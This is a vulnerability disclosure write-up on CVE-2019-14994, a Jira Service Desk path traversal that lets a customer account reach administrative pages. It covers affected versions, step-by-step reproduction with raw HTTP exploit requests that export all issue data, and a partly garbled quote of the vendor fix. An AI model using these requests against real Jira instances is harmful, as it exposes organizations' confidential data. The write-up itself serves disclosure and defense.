Analysis of CVE-2019-14994 – Jira Service Desk Path Traversal leads to Massive Information Disclosure

Jira Service Desk is a help desk application that is built on top of core Jira. It allows customers to submit tickets that can be reviewed and managed by administrators.

There are two different portals within the service desk application:

• Customer portal
  • Primarily accessible under the /servicedesk/ directory
• Administrative portal
  • Primarily accessible under the /secure/ directory

The CVE-2019-14994 vulnerability allows an attacker, if able to access the customer portal, to traverse to the administrative portal and view issues within all Jira projects contained in the vulnerable instance. This could include Jira Service Desk projects, Jira Core projects, and Jira Software projects.

If an attacker can authenticate to submit support tickets (if the `anyone can email the service desk or raise a request in the portal` setting is enabled) on the following versions of Jira Service Desk, then the issue is exploitable:

• All versions before 3.9.16
• 3.10.x
• 3.11.x
• 3.12.x
• 3.13.x
• 3.14.x
• 3.15.x
• 3.16.x before 3.16.8 (the fixed version for 3.16.x)
• 4.0.x
• 4.1.x before 4.1.3 (the fixed version for 4.1.x)
• 4.2.x before 4.2.5 (the fixed version for 4.2.x)
• 4.3.x before 4.3.4 (the fixed version for 4.3.x)
• 4.4.0 before 4.4.1 (the fixed version for 4.4.x)

Steps to Reproduce

The first thing to check for is whether or not the Jira instance is running service desk. You can do this by browsing to the following URL:

https://target.com/servicedesk/

If the directory exists then you’ll be redirected to a login portal.

If the login portal exists, check if there is a “Sign up” button below the next button. If one exists then you can simply register and proceed, otherwise it is unexploitable unless you have access to an account with access to the customer portal.

Register using the “Sign up” button and login to the application.

The next step is to check whether or not the issue is exploitable by attempting to access the administrative portal as a customer.

Send the following HTTP request using a proxy such as Burp Suite (if you try sending this in your browser it will not work as the URL will normalize) after authenticating:

GET /servicedesk/customer/../../secure/BrowseProjects.jspa HTTP/1.1
Host: target.com
Cookie: [authenticated as a customer]

Note: depending on the Service Desk version, you may have to use the following notation to traverse:

GET /servicedesk/customer/..;/..;/secure/BrowseProjects.jspa HTTP/1.1

If the application is vulnerable, a broken “Browse Projects” page will be displayed:

The above HTTP requests proves that, as a customer, you can access partial data from the administrative portal. Most functionality on the administrative portal is however done through APIs which handle the directory traversal characters strangely and make it hard to browse around the application normally.

The easiest way to exploit this vulnerability is to send the following HTTP request and export all of the organizations data:

GET /servicedesk/customer/../../sr/jira.issueviews:searchrequest-html-all-fields/temp/SearchRequest.html?jqlQuery=text+%7E+%22%22 HTTP/1.1
Host: target.com
Cookie: [authenticated as a customer]

If this endpoint returns “not found” but you were able to access the “/secure/BrowseProjects.jspa” endpoint, try browsing to the following URL instead:

GET /servicedesk/customer/../../sr/jira.issueviews:searchrequest-xml/temp/SearchRequest.xml?jqlQuery=text+%7E+%22%22 HTTP/1.1

The above HTTP request will return all of the data pertaining to the search term. You can use standard JQL to query whatever you’d like or just replace the jqlQuery text parameter with text you’d like to search for.

Addendum

One of the strange things about this is understanding how the authentication model works for Jira. Under normal circumstances, logging in as an employee and browsing to the above mentioned URLs (e.g. /secure/ and /sr/) will redirect you back to the customer dashboard.

It seems like this is their primary prevention to stop customers from accessing the administrative portal and is likely done by simply matching what URL they’re browsed to and determining whether or not they should have access.

The fix that they suggested customers use is as follows:

 
        ^/[^?]*...*$
        /
 

The above patch is interesting because it only seems to address the “browsing to X gives you access” behavior. If an attacker were able to find a way, post fix, to browse directly to the administrative endpoints (e.g. encoding/fuzzing), they would probably be able to access the same functionality.

I found this vulnerability while attending the Atlassian Bug Bash hosted by Bugcrowd and was able to compromise Atlassian’s core service desk for meant for Atlassian customers. They awarded the issue $10,000 with an $1,000 “stop testing” bonus.

This wasn’t meant to be a super long blog post or deep-dive on how the vulnerability worked, but more of a simple explanation and proof of concept for the issue.

Huge thanks to…

• Orange Tsai for publishing similar research against another Atlassin product
• Dan Ritter for partnering with me during the bug bash and letting me spend time deep diving stuff

If you enjoyed the write up, feel free to follow me on Twitter for future research and shenanigans.

Thanks for reading!